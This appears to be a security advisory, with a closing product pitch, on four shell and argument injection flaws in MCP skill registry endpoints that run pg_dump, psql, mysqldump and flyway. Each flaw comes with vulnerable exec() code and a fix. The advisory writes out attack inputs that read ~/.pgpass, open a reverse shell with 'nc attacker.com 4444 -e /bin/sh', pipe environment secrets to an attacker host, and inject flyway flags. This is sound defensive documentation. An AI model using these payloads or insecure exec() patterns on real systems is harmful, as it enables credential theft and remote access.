Claude MCP skill code injection — skill database migration and schema management endpoints — SA-SKL-INJECTION55
SA-SKL-INJECTION55 documents four code injection vulnerabilities in MCP skill registry database migration and schema management endpoints. Database migration endpoints frequently invoke CLI tools — pg_dump, psql, mysqldump, flyway — using shell-interpolated strings built from user-supplied parameters. When these invocations use exec() rather than execFile(), the shell interprets semicolons, pipe characters, and argument-injection sequences in the user-supplied values as command separators, enabling arbitrary command execution. INJECTION55-001: pg_dump shell injection via dbUser exfiltrates PostgreSQL credentials; INJECTION55-002: psql shell injection via migrationFile establishes a reverse shell; INJECTION55-003: mysqldump shell injection via dbPass exfiltrates all environment variables; INJECTION55-004: flyway space-based argument injection via jdbcUrl reads arbitrary filesystem paths as migration scripts.
exec(`pg_dump -U ${dbUser} -d ${dbName} -f ${outputFile}`) — attacker dbUser value postgres ; cat ~/.pgpass > /tmp/out exfiltrates PostgreSQL credentials; fix: execFile() array; validate dbUser and dbName against /^[a-z0-9_]{1,63}$/; outputFile from server-side constantexec(`psql -U ${dbUser} -d ${dbName} -f ${migrationFile}`) — attacker migrationFile value /tmp/x ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; migrationFile from server-side allowlist Map; realpathSync containmentexec(`mysqldump ${dbName} --user=${dbUser} --password=${dbPass}`) — attacker dbPass value x ; printenv | nc attacker.com 4444 exfiltrates all env vars including cloud credentials; fix: execFile() array; --defaults-extra-file with temp credentials file; validate dbName and dbUser against safe regexexec(`flyway -url=${jdbcUrl} migrate`) — attacker jdbcUrl with space-injected -locations=filesystem:/etc/ reads /etc/ as migration scripts; fix: execFile() array; validate jdbcUrl against JDBC URL allowlist; -locations from server-side constantINJECTION55-001 — pg_dump shell injection via dbUser exfiltrates PostgreSQL credentials
Severity: CRITICAL
The database backup endpoint constructs a pg_dump command using exec() with shell interpolation of user-supplied dbUser, dbName, and outputFile parameters. The shell interprets semicolons and other metacharacters in these parameters as command separators, allowing an attacker to append arbitrary shell commands to the pg_dump invocation. The injected commands execute with the same user identity as the Node.js registry process.
An attacker who sets dbUser to postgres ; cat ~/.pgpass > /tmp/out causes the shell to execute cat ~/.pgpass after the pg_dump command, writing the PostgreSQL credentials file to a world-readable location. The .pgpass file contains plaintext passwords for all PostgreSQL connections configured for the registry process user, including the production database, the replica, the analytics database, and any test database instances. Beyond credential exfiltration, the injection surface supports full RCE including reverse shell establishment via nc, data exfiltration over DNS, and persistent backdoor installation in writable directories on the server filesystem.
const { exec } = require('child_process');
router.post('/migrations/backup', requireSession, requireRole('admin'), async (req, res) => {
const { dbUser, dbName, outputFile } = req.body;
// exec() uses shell — semicolons in dbUser split into additional commands
exec(`pg_dump -U ${dbUser} -d ${dbName} -f ${outputFile}`, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
return res.json({ backed_up: true, file: outputFile });
});
});
const { execFile } = require('child_process');
const path = require('path');
const BACKUP_DIR = process.env.BACKUP_DIR || '/var/backups/registry';
const DB_USER_RE = /^[a-z0-9_]{1,63}$/;
const DB_NAME_RE = /^[a-z0-9_]{1,63}$/;
router.post('/migrations/backup', requireSession, requireRole('admin'), async (req, res) => {
const { dbUser, dbName } = req.body;
if (!DB_USER_RE.test(dbUser)) return res.status(400).json({ error: 'Invalid dbUser' });
if (!DB_NAME_RE.test(dbName)) return res.status(400).json({ error: 'Invalid dbName' });
// Server-side output path — never from user input
const outputFile = path.join(BACKUP_DIR, `${dbName}-${Date.now()}.dump`);
// execFile() with array — no shell, no metacharacter interpretation
execFile('pg_dump', ['-U', dbUser, '-d', dbName, '-f', outputFile], (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: 'Backup failed' });
return res.json({ backed_up: true });
});
});
The fix uses execFile() with an argument array instead of exec() with a template string. execFile() passes each array element as a separate argument to the target binary without invoking a shell, eliminating metacharacter interpretation entirely. The dbUser and dbName parameters are validated against strict regex patterns that allow only lowercase letters, digits, and underscores in PostgreSQL identifier-safe lengths. The outputFile path is constructed server-side from a controlled base directory and a timestamp, with no user input influencing its value.
INJECTION55-002 — psql shell injection via migrationFile establishes reverse shell
Severity: CRITICAL
The schema migration endpoint constructs a psql command using exec() with shell interpolation of a user-supplied migrationFile path. An attacker can set migrationFile to a string that appends a semicolon followed by a reverse shell command, causing the shell to execute the netcat listener invocation immediately after the psql command completes or fails.
A reverse shell established from the registry server provides the attacker with an interactive command environment running as the registry process user. From this shell, the attacker can read all files accessible to that user including the registry application source code, the runtime environment containing database connection strings and cloud provider credentials, SSH keys stored in the user's home directory, and any locally cached authentication tokens. The reverse shell persists until the attacker closes it or the network connection is interrupted, providing an interactive exploration environment that is not subject to the registry API's authentication or rate limiting controls. The connection originates from the registry server's outbound network path, bypassing inbound firewall rules that restrict access to the server's listening ports.
router.post('/migrations/run', requireSession, requireRole('admin'), async (req, res) => {
const { dbUser, dbName, migrationFile } = req.body;
// exec() — migrationFile can contain ; nc attacker.com 4444 -e /bin/sh
exec(`psql -U ${dbUser} -d ${dbName} -f ${migrationFile}`, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
return res.json({ migrated: true });
});
});
const MIGRATIONS_DIR = path.resolve(process.env.MIGRATIONS_DIR || './migrations');
const MIGRATION_ALLOWLIST = new Map(
fs.readdirSync(MIGRATIONS_DIR)
.filter(f => f.endsWith('.sql'))
.map(f => [f, path.join(MIGRATIONS_DIR, f)])
);
router.post('/migrations/run', requireSession, requireRole('admin'), async (req, res) => {
const { dbUser, dbName, migrationName } = req.body;
if (!DB_USER_RE.test(dbUser)) return res.status(400).json({ error: 'Invalid dbUser' });
if (!DB_NAME_RE.test(dbName)) return res.status(400).json({ error: 'Invalid dbName' });
const migrationPath = MIGRATION_ALLOWLIST.get(migrationName);
if (!migrationPath) return res.status(400).json({ error: 'Migration not found in allowlist' });
// Verify path stays within MIGRATIONS_DIR (defense against allowlist bypass via symlinks)
const resolved = fs.realpathSync(migrationPath);
if (!resolved.startsWith(MIGRATIONS_DIR + path.sep)) {
return res.status(400).json({ error: 'Migration path escape detected' });
}
execFile('psql', ['-U', dbUser, '-d', dbName, '-f', resolved], (err) => {
if (err) return res.status(500).json({ error: 'Migration failed' });
return res.json({ migrated: true });
});
});
The fix uses execFile() with an argument array and replaces the user-supplied migrationFile path with a migrationName key resolved through a server-side allowlist Map. The allowlist is populated at startup by enumerating the migrations directory, ensuring that only SQL files present in the controlled directory are executable. The realpathSync check verifies that the resolved path stays within the migrations directory, preventing allowlist bypass via symbolic links pointing outside the directory tree.
INJECTION55-003 — mysqldump shell injection via dbPass exfiltrates all environment variables
Severity: CRITICAL
The MySQL backup endpoint constructs a mysqldump command using exec() with the database password interpolated directly into the shell command string as --password=${dbPass}. An attacker who sets dbPass to a string containing a semicolon followed by a shell command causes the shell to execute the appended command after the mysqldump invocation. The --password= flag value is not quoted in a way that prevents semicolon interpretation by the shell.
An attacker who sets dbPass to x ; printenv | nc attacker.com 4444 causes the registry server to pipe all environment variables to the attacker's netcat listener. The environment of the registry process contains database connection strings for all configured databases, cloud provider credential environment variables set by the container orchestration system, API signing keys and secret values injected via environment at deploy time, and service-to-service authentication tokens for internal infrastructure APIs. Environment variable exfiltration is a highly efficient credential harvest because it captures all configured secrets in a single request, regardless of how many different services or databases the registry integrates with.
router.post('/migrations/mysql-backup', requireSession, requireRole('admin'), async (req, res) => {
const { dbName, dbUser, dbPass, outputFile } = req.body;
// dbPass is shell-interpolated — ; printenv exfiltrates environment
exec(`mysqldump ${dbName} --user=${dbUser} --password=${dbPass} > ${outputFile}`, (err) => {
if (err) return res.status(500).json({ error: 'Backup failed' });
return res.json({ backed_up: true });
});
});
const os = require('os');
const fs = require('fs');
router.post('/migrations/mysql-backup', requireSession, requireRole('admin'), async (req, res) => {
const { dbName, dbUser } = req.body;
if (!DB_NAME_RE.test(dbName)) return res.status(400).json({ error: 'Invalid dbName' });
if (!DB_USER_RE.test(dbUser)) return res.status(400).json({ error: 'Invalid dbUser' });
// Use --defaults-extra-file so password never appears in shell command string or process list
const credFile = path.join(os.tmpdir(), `mysqldump-${crypto.randomBytes(8).toString('hex')}.cnf`);
const dbPass = process.env[`MYSQL_PASS_${dbName.toUpperCase()}`];
if (!dbPass) return res.status(500).json({ error: 'DB password not configured' });
fs.writeFileSync(credFile, `[client]\npassword=${dbPass}\n`, { mode: 0o600 });
const outputFile = path.join(BACKUP_DIR, `${dbName}-${Date.now()}.sql`);
execFile('mysqldump', [`--defaults-extra-file=${credFile}`, dbName, `--user=${dbUser}`,
`--result-file=${outputFile}`], (err) => {
fs.unlinkSync(credFile);
if (err) return res.status(500).json({ error: 'Backup failed' });
return res.json({ backed_up: true });
});
});
The fix uses execFile() with an argument array and passes the database password via a temporary credentials file using --defaults-extra-file. The password never appears in the shell command string, the process argument list visible in ps output, or server logs. The dbPass value is retrieved from a server-side environment variable keyed on the validated database name rather than accepted from user input. The temporary credentials file is created with mode 0o600 and deleted immediately after the mysqldump process exits, minimizing the window during which the file exists on disk.
INJECTION55-004 — flyway argument injection via jdbcUrl reads /etc/ as migration scripts
Severity: HIGH
The Flyway migration endpoint constructs the flyway command using exec() with the JDBC URL interpolated as -url=${jdbcUrl}. An attacker who injects a space and an additional argument into jdbcUrl causes the shell to pass the injected argument as a separate flag to the Flyway CLI. Setting jdbcUrl to a string containing a trailing space followed by -locations=filesystem:/etc/ instructs Flyway to treat the /etc/ directory as the migration script location, reading every file in /etc/ as a SQL migration script and attempting to execute its contents against the database.
The impact of Flyway reading /etc/ as migration scripts has two dimensions: information disclosure and potential command execution. Flyway reads files in the migration location as SQL text and logs their contents when encountering syntax errors — this means the full contents of /etc/passwd, /etc/hosts, /etc/environment, and other configuration files are logged to the registry's logging infrastructure, where they may be exfiltrated via log aggregation. Additionally, if any file in the targeted directory happens to contain valid SQL DDL statements matching Flyway's naming conventions, Flyway will execute those statements against the production database, potentially corrupting schema state or exposing data via crafted SQL that the attacker pre-staged in a writable directory.
router.post('/migrations/flyway', requireSession, requireRole('admin'), async (req, res) => {
const { jdbcUrl, migrationTarget } = req.body;
// exec() — jdbcUrl with trailing space allows argument injection
exec(`flyway -url=${jdbcUrl} migrate`, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
return res.json({ migrated: true, output: stdout });
});
});
const JDBC_ALLOWLIST = (process.env.FLYWAY_JDBC_ALLOWLIST || '').split(',').filter(Boolean);
const FLYWAY_LOCATIONS = process.env.FLYWAY_LOCATIONS || 'filesystem:./migrations';
router.post('/migrations/flyway', requireSession, requireRole('admin'), async (req, res) => {
const { jdbcUrl, migrationTarget } = req.body;
// Validate jdbcUrl against allowlist of permitted JDBC connection strings
if (!JDBC_ALLOWLIST.includes(jdbcUrl)) {
return res.status(400).json({ error: 'jdbcUrl not in configured allowlist' });
}
// execFile() array — no shell, each element is a separate argument
// -locations from server-side constant — cannot be overridden by user input
execFile('flyway', [
`-url=${jdbcUrl}`,
`-locations=${FLYWAY_LOCATIONS}`,
'migrate',
], (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: 'Migration failed' });
return res.json({ migrated: true });
});
});
The fix uses execFile() with an argument array and validates the jdbcUrl against an explicit allowlist of permitted JDBC connection strings. Because the array elements are passed directly to the Flyway binary without shell interpretation, any spaces or metacharacters in the jdbcUrl value are treated as part of the -url argument rather than as argument separators. The -locations flag is supplied from a server-side environment variable constant, ensuring that no user-supplied value can override the migration script location regardless of what jdbcUrl contains.
Run SkillAudit to detect exec() with shell-interpolated CLI arguments, unvalidated database identifiers, and argument injection patterns in pg_dump, psql, mysqldump, and flyway invocations in your MCP skill registry source code. Join the waitlist for access.